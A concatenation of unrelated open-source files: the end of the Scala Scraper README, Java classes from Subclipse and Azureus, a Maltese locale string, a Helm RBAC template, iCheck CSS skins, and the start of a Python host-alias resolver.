DSL:\n\n```scala\ndoc >> spanLinks\n// res56: List[Option[String]] = List(Some(#home), Some(#section1), None, Some(#section3), None, None, None, None, None, Some(#), None)\n\ndoc >> spanLinksCount\n// res57: Int = 4\n\ndoc >> menuLinks\n// res58: List[Option[String]] = List(Some(#home), Some(#section1), None, Some(#section3))\n```\n\nJust remember that you can only apply extraction operators `>>` and `>?>` to documents, elements or functors \"containing\" them, which means that the following is a compile-time error:\n\n```scala\n// The `texts` extractor extracts a list of strings and extractors cannot be\n// applied to strings\ndoc >> texts(\"#menu > span\") >> \"a\"\n// <console>:30: error: value >> is not a member of Iterable[String]\n// doc >> texts(\"#menu > span\") >> \"a\"\n// ^\n```\n\nFinally, if you prefer not using operators for the sake of code legibility, you can use alternative methods:\n\n```scala\n// `extract` is the same as `>>`\ndoc extract text(\"title\")\n// res63: String = Test page\n\n// `tryExtract` is the same as `>?>`\ndoc tryExtract element(\"#optional\")\n// res65: Option[net.ruippeixotog.scalascraper.model.Element] = None\n\n// `validateWith` is the same as `>/~`\ndoc validateWith (succ, errors)\n// res67: Either[String,browser.DocumentType] = Left(Too few items)\n```\n\n## Using Browser-Specific Features\n\n_NOTE: this feature is in a beta stage. Please expect API changes in future releases._\n\nAt this moment, Scala Scraper is focused on providing a DSL for querying documents efficiently and elegantly. Therefore, it doesn't support directly modifying the DOM or executing actions such as clicking an element. However, since version 2.0.0 a new typed element API allows users to interact directly with the data structures of the underlying `Browser` implementation.\n\nFirst of all, make sure your `Browser` instance has a concrete type, like `HtmlUnitBrowser`:\n\n```scala\nimport net.ruippeixotog.scalascraper.browser.HtmlUnitBrowser\nimport net.ruippeixotog.scalascraper.browser.HtmlUnitBrowser._\n\n// the `typed` method on the companion object of a `Browser` returns instances\n// with their concrete type\nval typedBrowser: HtmlUnitBrowser = HtmlUnitBrowser.typed()\n\nval typedDoc: HtmlUnitDocument = typedBrowser.parseFile(\"src/test/resources/example.html\")\n```\n\nNote that the `val` declarations are explicitly typed for explanation purposes only; the methods work just as well when types are inferred.\n\nThe content extractors `pElement`, `pElements` and `pElementList` are special types of extractors - they are polymorphic extractors. They work just like their non-polymorphic `element`, `elements` and `elementList` extractors, but they propagate the concrete types of the elements if the document or element being extracted also has a concrete type. For example:\n\n```scala\n// extract the \"a\" inside the second child of \"#menu\"\nval aElem = typedDoc >> pElement(\"#menu span:nth-child(2) a\")\n// aElem: net.ruippeixotog.scalascraper.browser.HtmlUnitBrowser.HtmlUnitElement = HtmlUnitElement(HtmlAnchor[<a href=\"#section1\">])\n```\n\nNote that extracting using CSS queries also keeps the concrete types of the elements:\n\n```scala\n// same thing as above\ntypedDoc >> \"#menu\" >> \"span:nth-child(2)\" >> \"a\" >> pElement\n// res72: net.ruippeixotog.scalascraper.dsl.DSL.Extract.pElement.Out[net.ruippeixotog.scalascraper.browser.HtmlUnitBrowser.HtmlUnitElement] = HtmlUnitElement(HtmlAnchor[<a href=\"#section1\">])\n```\n\nConcrete element types, like `HtmlUnitElement`, expose a public `underlying` field with the underlying element object used by the browser backend. In the case of HtmlUnit, that would be a [`DomElement`](http://htmlunit.sourceforge.net/apidocs/com/gargoylesoftware/htmlunit/html/DomElement.html), which exposes a whole new range of operations:\n\n```scala\n// extract the current \"href\" this \"a\" element points to\naElem >> attr(\"href\")\n// res74: String = #section1\n\n// use `underlying` to update the \"href\" attribute\naElem.underlying.setAttribute(\"href\", \"#section1_2\")\n\n// verify that \"href\" was updated\naElem >> attr(\"href\")\n// res78: String = #section1_2\n\n// get the location of the document (without the host and the full path parts)\ntypedDoc.location.split(\"/\").last\n// res80: String = example.html\n\ndef click(elem: HtmlUnitElement): Unit = {\n // the type param may be needed, as the original API uses Java wildcards\n aElem.underlying.click[com.gargoylesoftware.htmlunit.Page]()\n}\n// click: (elem: net.ruippeixotog.scalascraper.browser.HtmlUnitBrowser.HtmlUnitElement)Unit\n\n// simulate a click on our recently modified element\nclick(aElem)\n\n// check the new location\ntypedDoc.location.split(\"/\").last\n// res84: String = example.html#section1_2\n```\n\nUsing the typed element API provides much more flexibility when more than querying elements is required. However, one should avoid using it unless strictly necessary, as:\n\n* It binds code to specific `Browser` implementations, making it more difficult to change implementations later;\n* The code becomes subject to changes in the API of the underlying library;\n* It's heavier on the Scala type system and it is not as mature, leading to possible unexpected compilation errors. If that happens, please file an issue!\n\n## Working Behind an HTTP/HTTPS Proxy\n\n_NOTE: this feature is in a beta stage. Please expect API changes in future releases._\n\nIf you are behind an HTTP proxy, you can configure `Browser` implementations to make connections through it by setting the Java system properties `http.proxyHost`, `https.proxyHost`, `http.proxyPort` and `https.proxyPort`. Scala Scraper provides a `ProxyUtils` object that facilitates that configuration:\n\n```scala\nimport net.ruippeixotog.scalascraper.util.ProxyUtils\n\nProxyUtils.setProxy(\"localhost\", 3128)\nval browser = JsoupBrowser()\n// HTTP requests and scraping operations...\nProxyUtils.removeProxy()\n```\n\n`JsoupBrowser` uses internally `java.net.HttpURLConnection`. Configuring those JVM-wide system properties will affect not only `Browser` instances, but _all_ requests done using `HttpURLConnection` directly or indirectly. `HtmlUnitBrowser` was implementated so that it reads the same system properties for configuration, but once the browser is created they will be used on every request done by the instance, regardless of the properties' values at the time of the request.\n\n## Integration with Typesafe Config\n\nThe [Scala Scraper Config module](modules/config/README.md) can be used to load extractors and validators from config files.\n\n## New Features and Migration Guide\n\nThe [CHANGELOG](CHANGELOG.md) is kept updated with the bug fixes and new features of each version. When there are breaking changes, they are listed there together with suggestions for migrating old code.\n\n## Copyright\n\nCopyright (c) 2014-2020 Rui Gonçalves. See LICENSE for details.\n"} {"text": "/**\n * ***************************************************************************** Copyright (c) 2005,\n * 2006 Subclipse project and others. All rights reserved. This program and the accompanying\n * materials are made available under the terms of the Eclipse Public License v1.0 which accompanies\n * this distribution, and is available at http://www.eclipse.org/legal/epl-v10.html\n *\n * <p>Contributors: Subclipse project committers - initial API and implementation\n * ****************************************************************************\n */\npackage org.tigris.subversion.subclipse.core.history;\n\nimport java.io.BufferedReader;\nimport java.io.StringReader;\nimport java.util.ArrayList;\nimport java.util.Arrays;\nimport org.eclipse.core.resources.IResource;\nimport org.tigris.subversion.subclipse.core.ISVNLocalResource;\nimport org.tigris.subversion.subclipse.core.ISVNRepositoryLocation;\nimport org.tigris.subversion.subclipse.core.SVNException;\nimport org.tigris.subversion.subclipse.core.SVNProviderPlugin;\nimport org.tigris.subversion.subclipse.core.resources.SVNWorkspaceRoot;\nimport org.tigris.subversion.svnclientadapter.ISVNClientAdapter;\nimport org.tigris.subversion.svnclientadapter.ISVNProperty;\nimport org.tigris.subversion.svnclientadapter.SVNClientException;\nimport org.tigris.subversion.svnclientadapter.SVNUrl;\n\npublic class AliasManager {\n private ArrayList<Alias> aliases = new ArrayList<Alias>();\n\n public AliasManager(IResource resource) {\n Alias[] aliasArray = getAliases(resource);\n Arrays.sort(aliasArray);\n for (Alias alias : aliasArray) {\n aliases.add(alias);\n }\n }\n\n public AliasManager(IResource resource, boolean checkParents) {\n Alias[] aliasArray = getAliases(resource, checkParents);\n Arrays.sort(aliasArray);\n for (Alias alias : aliasArray) {\n aliases.add(alias);\n }\n }\n\n public AliasManager(SVNUrl url) {\n Alias[] aliasArray = getAliases(url);\n Arrays.sort(aliasArray);\n for (Alias alias : aliasArray) {\n aliases.add(alias);\n }\n }\n\n public Alias[] getTags(int revision) {\n ArrayList<Alias> revisionAliases = new ArrayList<Alias>();\n for (Alias alias : aliases) {\n if (alias.getRevision() >= revision && !alias.isBranch()) {\n revisionAliases.add(alias);\n }\n }\n Alias[] aliasArray = new Alias[revisionAliases.size()];\n revisionAliases.toArray(aliasArray);\n for (Alias alias : aliasArray) {\n aliases.remove(alias);\n }\n return aliasArray;\n }\n\n public Alias[] getTags() {\n ArrayList<Alias> tags = new ArrayList<Alias>();\n for (Alias tag : aliases) {\n if (!tag.isBranch()) {\n tags.add(tag);\n }\n }\n Alias[] tagArray = new Alias[tags.size()];\n tags.toArray(tagArray);\n return tagArray;\n }\n\n public Alias[] getBranches() {\n ArrayList<Alias> branches = new ArrayList<Alias>();\n for (Alias branch : aliases) {\n if (branch.isBranch()) {\n branches.add(branch);\n }\n }\n Alias[] branchArray = new Alias[branches.size()];\n branches.toArray(branchArray);\n return branchArray;\n }\n\n public Alias getAlias(String revisionNamePathBranch, String url) {\n boolean branch = false;\n Alias alias = null;\n\n if (revisionNamePathBranch != null && revisionNamePathBranch.length() > 0) {\n String[] aliasParts = revisionNamePathBranch.split(\",\");\n if (aliasParts.length > 1) {\n int revision;\n try {\n revision = Integer.parseInt(aliasParts[0]);\n } catch (Exception e) {\n return null;\n }\n String name = aliasParts[1];\n String relativePath = null;\n if (aliasParts.length > 2) {\n relativePath = aliasParts[2];\n }\n if (aliasParts.length > 3) {\n branch = aliasParts[3].equalsIgnoreCase(\"branch\");\n }\n alias = new Alias(revision, name, relativePath, url);\n alias.setBranch(branch);\n }\n }\n return alias;\n }\n\n public static String getAliasesAsString(Alias[] aliases) {\n if (aliases == null) return \"\";\n StringBuffer stringBuffer = new StringBuffer();\n for (int i = 0; i < aliases.length; i++) {\n if (i != 0) stringBuffer.append(\", \");\n stringBuffer.append(aliases[i].getName());\n }\n return stringBuffer.toString();\n }\n\n public static String transformUrl(IResource resource, Alias alias) {\n String aliasUrl = alias.getUrl();\n String a;\n ISVNLocalResource svnResource = SVNWorkspaceRoot.getSVNResourceFor(resource);\n ISVNRepositoryLocation repository = svnResource.getRepository();\n if (svnResource.getUrl().toString().length() <= aliasUrl.length()) a = \"\";\n else a = svnResource.getUrl().toString().substring(aliasUrl.length());\n String b = repository.getUrl().toString();\n String c;\n if (alias.getRelativePath() == null) c = \"\";\n else c = alias.getRelativePath();\n return b + c + a;\n }\n\n public Alias[] getAliases(IResource resource) {\n Alias[] aliases = getAliases(resource, true);\n Arrays.sort(aliases);\n return aliases;\n }\n\n private Alias[] getAliases(IResource resource, boolean checkParents) {\n ArrayList<Alias> aliases = new ArrayList<Alias>();\n if (resource != null) {\n ISVNLocalResource svnResource = SVNWorkspaceRoot.getSVNResourceFor(resource);\n try {\n if (svnResource.isManaged()) {\n ISVNProperty property = null;\n property = svnResource.getSvnProperty(\"subclipse:tags\"); // $NON-NLS-1$\n if (property != null && property.getValue() != null)\n getAliases(aliases, property.getValue(), svnResource.getUrl().toString());\n if (checkParents) {\n IResource checkResource = resource;\n while (checkResource.getParent() != null) {\n checkResource = checkResource.getParent();\n Alias[] parentAliases = getAliases(checkResource, false);\n for (Alias parentAlias : parentAliases) {\n if (aliases.contains(parentAlias)) {\n Alias checkAlias = (Alias) aliases.get(aliases.indexOf(parentAlias));\n if (parentAlias.getRevision() < checkAlias.getRevision()) {\n aliases.remove(checkAlias);\n aliases.add(parentAlias);\n }\n } else aliases.add(parentAlias);\n }\n }\n }\n }\n } catch (SVNException e) {\n }\n }\n Alias[] aliasArray = new Alias[aliases.size()];\n aliases.toArray(aliasArray);\n return aliasArray;\n }\n\n public Alias[] getAliases(SVNUrl url) {\n Alias[] aliases = getAliases(url, true);\n Arrays.sort(aliases);\n return aliases;\n }\n\n private Alias[] getAliases(SVNUrl url, boolean checkParents) {\n ArrayList<Alias> aliases = new ArrayList<Alias>();\n ISVNClientAdapter client = null;\n try {\n client = SVNProviderPlugin.getPlugin().getSVNClient();\n ISVNProperty property = null;\n SVNProviderPlugin.disableConsoleLogging();\n property = client.propertyGet(url, \"subclipse:tags\");\n SVNProviderPlugin.enableConsoleLogging();\n if (property != null && property.getValue() != null) {\n getAliases(aliases, property.getValue(), url.toString());\n } else {\n if (url.getParent() != null && checkParents)\n return getAliases(url.getParent(), checkParents);\n }\n } catch (SVNClientException e) {\n } catch (SVNException e) {\n } finally {\n SVNProviderPlugin.enableConsoleLogging();\n SVNProviderPlugin.getPlugin().getSVNClientManager().returnSVNClient(client);\n }\n Alias[] aliasArray = new Alias[aliases.size()];\n aliases.toArray(aliasArray);\n return aliasArray;\n }\n\n private void getAliases(ArrayList<Alias> aliases, String propertyValue, String url) {\n StringReader reader = new StringReader(propertyValue);\n BufferedReader bReader = new BufferedReader(reader);\n try {\n String line = bReader.readLine();\n while (line != null) {\n Alias alias = getAlias(line, url);\n if (aliases.contains(alias)) {\n Alias checkAlias = aliases.get(aliases.indexOf(alias));\n if (alias.getRevision() < checkAlias.getRevision()) {\n aliases.remove(checkAlias);\n aliases.add(alias);\n }\n } else {\n if (alias != null) {\n aliases.add(alias);\n }\n }\n line = bReader.readLine();\n }\n bReader.close();\n } catch (Exception e) {\n }\n }\n}\n"} {"text": "longdesc_mt=Aqsam il-mezzi tad-diska fin-netwerk billi tuża l-protokoll iSCSI mal-pakkett netbsd-iscsi.\ndesc_mt=Server iSCSI\n"} {"text": "/*\n * Created on 12-Jul-2004\n * Created by Paul Gardner\n * Copyright (C) Azureus Software, Inc, All Rights Reserved.\n *\n * This program is free software; you can redistribute it and/or\n * modify it under the terms of the GNU General Public License\n * as published by the Free Software Foundation; either version 2\n * of the License, or (at your option) any later version.\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n * You should have received a copy of the GNU General Public License\n * along with this program; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.\n *\n */\n\npackage org.gudy.azureus2.core3.util;\n\n/**\n * @author parg\n */\npublic class\nSimpleTimer {\n /**\n * A simple timer class for use by application components that want to schedule\n * low-overhead events (i.e. when fired the event shouldn't take significant processing\n * time as there is a limited thread pool to service it\n */\n private static final Timer timer;\n private static final CopyOnWriteList<TimerTickReceiver> tick_receivers = new CopyOnWriteList<>(true);\n\n static {\n timer = new Timer(\"Simple Timer\", 32);\n timer.setWarnWhenFull();\n addPeriodicEvent(\n \"SimpleTimer:ticker\",\n 1000,\n new TimerEventPerformer() {\n private int tick_count;\n\n public void\n perform(\n TimerEvent event) {\n tick_count++;\n if (tick_receivers.size() > 0) {\n long mono_now = SystemTime.getMonotonousTime();\n for (TimerTickReceiver ttr : tick_receivers) {\n try {\n ttr.tick(mono_now, tick_count);\n } catch (Throwable e) {\n e.printStackTrace();\n }\n }\n }\n }\n });\n }\n\n public static void\n addEvent(\n String name,\n long when,\n TimerEventPerformer performer) {\n timer.addEvent(name, when, performer);\n }\n\n static void\n addPeriodicEvent(\n String name,\n long frequency,\n TimerEventPerformer performer) {\n timer.addPeriodicEvent(name, frequency, performer);\n }\n\n interface\n TimerTickReceiver {\n void\n tick(\n long mono_now,\n int tick_ount);\n }\n}\n"} {"text": "{{- if and .Values.rbac.create .Values.rbac.pspEnabled }}\nkind: ClusterRole\napiVersion: rbac.authorization.k8s.io/v1\nmetadata:\n name: {{ template \"openebs.fullname\" . }}-psp\n labels:\n app: {{ template \"openebs.name\" . }}\nrules:\n- apiGroups: ['extensions']\n resources: ['podsecuritypolicies']\n verbs: ['use']\n resourceNames:\n - {{ template \"openebs.fullname\" . }}-psp\n{{- end }}\n"} {"text": "/* iCheck plugin Square skin\n----------------------------------- */\n.icheckbox_square,\n.iradio_square {\n display: inline-block;\n *display: inline;\n vertical-align: middle;\n margin: 0;\n padding: 0;\n width: 22px;\n height: 22px;\n background: url(square.png) no-repeat;\n border: none;\n cursor: pointer;\n}\n\n.icheckbox_square {\n background-position: 0 0;\n}\n .icheckbox_square.hover {\n background-position: -24px 0;\n }\n .icheckbox_square.checked {\n background-position: -48px 0;\n }\n .icheckbox_square.disabled {\n background-position: -72px 0;\n cursor: default;\n }\n .icheckbox_square.checked.disabled {\n background-position: -96px 0;\n }\n\n.iradio_square {\n background-position: -120px 0;\n}\n .iradio_square.hover {\n background-position: -144px 0;\n }\n .iradio_square.checked {\n background-position: -168px 0;\n }\n .iradio_square.disabled {\n background-position: -192px 0;\n cursor: default;\n }\n .iradio_square.checked.disabled {\n background-position: -216px 0;\n }\n\n/* Retina support */\n@media only screen and (-webkit-min-device-pixel-ratio: 1.5),\n only screen and (-moz-min-device-pixel-ratio: 1.5),\n only screen and (-o-min-device-pixel-ratio: 3/2),\n only screen and (min-device-pixel-ratio: 1.5) {\n .icheckbox_square,\n .iradio_square {\n background-image: url(square@2x.png);\n -webkit-background-size: 240px 24px;\n background-size: 240px 24px;\n }\n}\n\n/* red */\n.icheckbox_square-red,\n.iradio_square-red {\n display: inline-block;\n *display: inline;\n vertical-align: middle;\n margin: 0;\n padding: 0;\n width: 22px;\n height: 22px;\n background: url(red.png) no-repeat;\n border: none;\n cursor: pointer;\n}\n\n.icheckbox_square-red {\n background-position: 0 0;\n}\n .icheckbox_square-red.hover {\n background-position: -24px 0;\n }\n .icheckbox_square-red.checked {\n background-position: -48px 0;\n }\n .icheckbox_square-red.disabled {\n background-position: -72px 0;\n cursor: default;\n }\n .icheckbox_square-red.checked.disabled {\n background-position: -96px 0;\n }\n\n.iradio_square-red {\n background-position: -120px 0;\n}\n .iradio_square-red.hover {\n background-position: -144px 0;\n }\n .iradio_square-red.checked {\n background-position: -168px 0;\n }\n .iradio_square-red.disabled {\n background-position: -192px 0;\n cursor: default;\n }\n .iradio_square-red.checked.disabled {\n background-position: -216px 0;\n }\n\n/* Retina support */\n@media only screen and (-webkit-min-device-pixel-ratio: 1.5),\n only screen and (-moz-min-device-pixel-ratio: 1.5),\n only screen and (-o-min-device-pixel-ratio: 3/2),\n only screen and (min-device-pixel-ratio: 1.5) {\n .icheckbox_square-red,\n .iradio_square-red {\n background-image: url(red@2x.png);\n -webkit-background-size: 240px 24px;\n background-size: 240px 24px;\n }\n}\n\n/* green */\n.icheckbox_square-green,\n.iradio_square-green {\n display: inline-block;\n *display: inline;\n vertical-align: middle;\n margin: 0;\n padding: 0;\n width: 22px;\n height: 22px;\n background: url(green.png) no-repeat;\n border: none;\n cursor: pointer;\n}\n\n.icheckbox_square-green {\n background-position: 0 0;\n}\n .icheckbox_square-green.hover {\n background-position: -24px 0;\n }\n .icheckbox_square-green.checked {\n background-position: -48px 0;\n }\n .icheckbox_square-green.disabled {\n background-position: -72px 0;\n cursor: default;\n }\n .icheckbox_square-green.checked.disabled {\n background-position: -96px 0;\n }\n\n.iradio_square-green {\n background-position: -120px 0;\n}\n .iradio_square-green.hover {\n background-position: -144px 0;\n }\n .iradio_square-green.checked {\n background-position: -168px 0;\n }\n .iradio_square-green.disabled {\n background-position: -192px 0;\n cursor: default;\n }\n .iradio_square-green.checked.disabled {\n background-position: -216px 0;\n }\n\n/* Retina support */\n@media only screen and (-webkit-min-device-pixel-ratio: 1.5),\n only screen and (-moz-min-device-pixel-ratio: 1.5),\n only screen and (-o-min-device-pixel-ratio: 3/2),\n only screen and (min-device-pixel-ratio: 1.5) {\n .icheckbox_square-green,\n .iradio_square-green {\n background-image: url(green@2x.png);\n -webkit-background-size: 240px 24px;\n background-size: 240px 24px;\n }\n}\n\n/* blue */\n.icheckbox_square-blue,\n.iradio_square-blue {\n display: inline-block;\n *display: inline;\n vertical-align: middle;\n margin: 0;\n padding: 0;\n width: 22px;\n height: 22px;\n background: url(blue.png) no-repeat;\n border: none;\n cursor: pointer;\n}\n\n.icheckbox_square-blue {\n background-position: 0 0;\n}\n .icheckbox_square-blue.hover {\n background-position: -24px 0;\n }\n .icheckbox_square-blue.checked {\n background-position: -48px 0;\n }\n .icheckbox_square-blue.disabled {\n background-position: -72px 0;\n cursor: default;\n }\n .icheckbox_square-blue.checked.disabled {\n background-position: -96px 0;\n }\n\n.iradio_square-blue {\n background-position: -120px 0;\n}\n .iradio_square-blue.hover {\n background-position: -144px 0;\n }\n .iradio_square-blue.checked {\n background-position: -168px 0;\n }\n .iradio_square-blue.disabled {\n background-position: -192px 0;\n cursor: default;\n }\n .iradio_square-blue.checked.disabled {\n background-position: -216px 0;\n }\n\n/* Retina support */\n@media only screen and (-webkit-min-device-pixel-ratio: 1.5),\n only screen and (-moz-min-device-pixel-ratio: 1.5),\n only screen and (-o-min-device-pixel-ratio: 3/2),\n only screen and (min-device-pixel-ratio: 1.5) {\n .icheckbox_square-blue,\n .iradio_square-blue {\n background-image: url(blue@2x.png);\n -webkit-background-size: 240px 24px;\n background-size: 240px 24px;\n }\n}\n\n/* aero */\n.icheckbox_square-aero,\n.iradio_square-aero {\n display: inline-block;\n *display: inline;\n vertical-align: middle;\n margin: 0;\n padding: 0;\n width: 22px;\n height: 22px;\n background: url(aero.png) no-repeat;\n border: none;\n cursor: pointer;\n}\n\n.icheckbox_square-aero {\n background-position: 0 0;\n}\n .icheckbox_square-aero.hover {\n background-position: -24px 0;\n }\n .icheckbox_square-aero.checked {\n background-position: -48px 0;\n }\n .icheckbox_square-aero.disabled {\n background-position: -72px 0;\n cursor: default;\n }\n .icheckbox_square-aero.checked.disabled {\n background-position: -96px 0;\n }\n\n.iradio_square-aero {\n background-position: -120px 0;\n}\n .iradio_square-aero.hover {\n background-position: -144px 0;\n }\n .iradio_square-aero.checked {\n background-position: -168px 0;\n }\n .iradio_square-aero.disabled {\n background-position: -192px 0;\n cursor: default;\n }\n .iradio_square-aero.checked.disabled {\n background-position: -216px 0;\n }\n\n/* Retina support */\n@media only screen and (-webkit-min-device-pixel-ratio: 1.5),\n only screen and (-moz-min-device-pixel-ratio: 1.5),\n only screen and (-o-min-device-pixel-ratio: 3/2),\n only screen and (min-device-pixel-ratio: 1.5) {\n .icheckbox_square-aero,\n .iradio_square-aero {\n background-image: url(aero@2x.png);\n -webkit-background-size: 240px 24px;\n background-size: 240px 24px;\n }\n}\n\n/* grey */\n.icheckbox_square-grey,\n.iradio_square-grey {\n display: inline-block;\n *display: inline;\n vertical-align: middle;\n margin: 0;\n padding: 0;\n width: 22px;\n height: 22px;\n background: url(grey.png) no-repeat;\n border: none;\n cursor: pointer;\n}\n\n.icheckbox_square-grey {\n background-position: 0 0;\n}\n .icheckbox_square-grey.hover {\n background-position: -24px 0;\n }\n .icheckbox_square-grey.checked {\n background-position: -48px 0;\n }\n .icheckbox_square-grey.disabled {\n background-position: -72px 0;\n cursor: default;\n }\n .icheckbox_square-grey.checked.disabled {\n background-position: -96px 0;\n }\n\n.iradio_square-grey {\n background-position: -120px 0;\n}\n .iradio_square-grey.hover {\n background-position: -144px 0;\n }\n .iradio_square-grey.checked {\n background-position: -168px 0;\n }\n .iradio_square-grey.disabled {\n background-position: -192px 0;\n cursor: default;\n }\n .iradio_square-grey.checked.disabled {\n background-position: -216px 0;\n }\n\n/* Retina support */\n@media only screen and (-webkit-min-device-pixel-ratio: 1.5),\n only screen and (-moz-min-device-pixel-ratio: 1.5),\n only screen and (-o-min-device-pixel-ratio: 3/2),\n only screen and (min-device-pixel-ratio: 1.5) {\n .icheckbox_square-grey,\n .iradio_square-grey {\n background-image: url(grey@2x.png);\n -webkit-background-size: 240px 24px;\n background-size: 240px 24px;\n }\n}\n\n/* orange */\n.icheckbox_square-orange,\n.iradio_square-orange {\n display: inline-block;\n *display: inline;\n vertical-align: middle;\n margin: 0;\n padding: 0;\n width: 22px;\n height: 22px;\n background: url(orange.png) no-repeat;\n border: none;\n cursor: pointer;\n}\n\n.icheckbox_square-orange {\n background-position: 0 0;\n}\n .icheckbox_square-orange.hover {\n background-position: -24px 0;\n }\n .icheckbox_square-orange.checked {\n background-position: -48px 0;\n }\n .icheckbox_square-orange.disabled {\n background-position: -72px 0;\n cursor: default;\n }\n .icheckbox_square-orange.checked.disabled {\n background-position: -96px 0;\n }\n\n.iradio_square-orange {\n background-position: -120px 0;\n}\n .iradio_square-orange.hover {\n background-position: -144px 0;\n }\n .iradio_square-orange.checked {\n background-position: -168px 0;\n }\n .iradio_square-orange.disabled {\n background-position: -192px 0;\n cursor: default;\n }\n .iradio_square-orange.checked.disabled {\n background-position: -216px 0;\n }\n\n/* Retina support */\n@media only screen and (-webkit-min-device-pixel-ratio: 1.5),\n only screen and (-moz-min-device-pixel-ratio: 1.5),\n only screen and (-o-min-device-pixel-ratio: 3/2),\n only screen and (min-device-pixel-ratio: 1.5) {\n .icheckbox_square-orange,\n .iradio_square-orange {\n background-image: url(orange@2x.png);\n -webkit-background-size: 240px 24px;\n background-size: 240px 24px;\n }\n}\n\n/* yellow */\n.icheckbox_square-yellow,\n.iradio_square-yellow {\n display: inline-block;\n *display: inline;\n vertical-align: middle;\n margin: 0;\n padding: 0;\n width: 22px;\n height: 22px;\n background: url(yellow.png) no-repeat;\n border: none;\n cursor: pointer;\n}\n\n.icheckbox_square-yellow {\n background-position: 0 0;\n}\n .icheckbox_square-yellow.hover {\n background-position: -24px 0;\n }\n .icheckbox_square-yellow.checked {\n background-position: -48px 0;\n }\n .icheckbox_square-yellow.disabled {\n background-position: -72px 0;\n cursor: default;\n }\n .icheckbox_square-yellow.checked.disabled {\n background-position: -96px 0;\n }\n\n.iradio_square-yellow {\n background-position: -120px 0;\n}\n .iradio_square-yellow.hover {\n background-position: -144px 0;\n }\n .iradio_square-yellow.checked {\n background-position: -168px 0;\n }\n .iradio_square-yellow.disabled {\n background-position: -192px 0;\n cursor: default;\n }\n .iradio_square-yellow.checked.disabled {\n background-position: -216px 0;\n }\n\n/* Retina support */\n@media only screen and (-webkit-min-device-pixel-ratio: 1.5),\n only screen and (-moz-min-device-pixel-ratio: 1.5),\n only screen and (-o-min-device-pixel-ratio: 3/2),\n only screen and (min-device-pixel-ratio: 1.5) {\n .icheckbox_square-yellow,\n .iradio_square-yellow {\n background-image: url(yellow@2x.png);\n -webkit-background-size: 240px 24px;\n background-size: 240px 24px;\n }\n}\n\n/* pink */\n.icheckbox_square-pink,\n.iradio_square-pink {\n display: inline-block;\n *display: inline;\n vertical-align: middle;\n margin: 0;\n padding: 0;\n width: 22px;\n height: 22px;\n background: url(pink.png) no-repeat;\n border: none;\n cursor: pointer;\n}\n\n.icheckbox_square-pink {\n background-position: 0 0;\n}\n .icheckbox_square-pink.hover {\n background-position: -24px 0;\n }\n .icheckbox_square-pink.checked {\n background-position: -48px 0;\n }\n .icheckbox_square-pink.disabled {\n background-position: -72px 0;\n cursor: default;\n }\n .icheckbox_square-pink.checked.disabled {\n background-position: -96px 0;\n }\n\n.iradio_square-pink {\n background-position: -120px 0;\n}\n .iradio_square-pink.hover {\n background-position: -144px 0;\n }\n .iradio_square-pink.checked {\n background-position: -168px 0;\n }\n .iradio_square-pink.disabled {\n background-position: -192px 0;\n cursor: default;\n }\n .iradio_square-pink.checked.disabled {\n background-position: -216px 0;\n }\n\n/* Retina support */\n@media only screen and (-webkit-min-device-pixel-ratio: 1.5),\n only screen and (-moz-min-device-pixel-ratio: 1.5),\n only screen and (-o-min-device-pixel-ratio: 3/2),\n only screen and (min-device-pixel-ratio: 1.5) {\n .icheckbox_square-pink,\n .iradio_square-pink {\n background-image: url(pink@2x.png);\n -webkit-background-size: 240px 24px;\n background-size: 240px 24px;\n }\n}\n\n/* purple */\n.icheckbox_square-purple,\n.iradio_square-purple {\n display: inline-block;\n *display: inline;\n vertical-align: middle;\n margin: 0;\n padding: 0;\n width: 22px;\n height: 22px;\n background: url(purple.png) no-repeat;\n border: none;\n cursor: pointer;\n}\n\n.icheckbox_square-purple {\n background-position: 0 0;\n}\n .icheckbox_square-purple.hover {\n background-position: -24px 0;\n }\n .icheckbox_square-purple.checked {\n background-position: -48px 0;\n }\n .icheckbox_square-purple.disabled {\n background-position: -72px 0;\n cursor: default;\n }\n .icheckbox_square-purple.checked.disabled {\n background-position: -96px 0;\n }\n\n.iradio_square-purple {\n background-position: -120px 0;\n}\n .iradio_square-purple.hover {\n background-position: -144px 0;\n }\n .iradio_square-purple.checked {\n background-position: -168px 0;\n }\n .iradio_square-purple.disabled {\n background-position: -192px 0;\n cursor: default;\n }\n .iradio_square-purple.checked.disabled {\n background-position: -216px 0;\n }\n\n/* Retina support */\n@media only screen and (-webkit-min-device-pixel-ratio: 1.5),\n only screen and (-moz-min-device-pixel-ratio: 1.5),\n only screen and (-o-min-device-pixel-ratio: 3/2),\n only screen and (min-device-pixel-ratio: 1.5) {\n .icheckbox_square-purple,\n .iradio_square-purple {\n background-image: url(purple@2x.png);\n -webkit-background-size: 240px 24px;\n background-size: 240px 24px;\n }\n}"} {"text": "import fnmatch\nimport collections\n\n\nALIAS_SECTION = \"aliases\"\n\n\nclass HostlistError(Exception):\n pass\n\n\nclass UnresolvableAliasError(HostlistError):\n\n def __init__(self, glob):\n self.glob = glob\n super(UnresolvableAliasError, self).__init__()\n\n def __str__(self):\n return \"unresolvable alias: %r matched no hosts\" % self.glob\n\n\nclass UnresolvableHostRefError(HostlistError):\n\n def __init__(self, host_ref):\n self.host_ref = host_ref\n super(UnresolvableHostRefError, self).__init__()\n\n def __str__(self):\n return \"no host or alias found for %r\" % self.host_ref\n\n\nclass HostSelectionError(HostlistError):\n pass\n\n\ndef parse_aliases(config_parser):\n if not config_parser.has_section(ALIAS_SECTION):\n return {}\n\n aliases = {}\n for key, value in config_parser.items(ALIAS_SECTION):\n aliases[key] = value.split()\n return aliases\n\n\ndef resolve_alias(all_hosts, globs):\n hosts = []\n\n for glob in globs:\n globbed = [host for host in all_hosts\n if fnmatch.fnmatch(host.name, glob)]\n if not globbed:\n raise UnresolvableAliasError(glob)\n hosts.extend(globbed)\n return hosts\n\n\ndef resolve_hostlist(host_refs, all_hosts, aliases):\n resolved_hosts = []\n\n for ref in host_refs:\n if ref in aliases:\n hosts = resolve_alias(all_hosts, aliases[ref])\n resolved_hosts.extend(hosts)\n else:\n matching_hosts = [host for host in all_hosts if host.name == ref]\n\n if matching_hosts:\n resolved_hosts.extend(matching_hosts)\n else:\n raise UnresolvableHostRefError(ref)\n\n return resolved_hosts\n\n\ndef select_canaries(hosts):\n \"\"\"Pick representative canary hosts from the full host 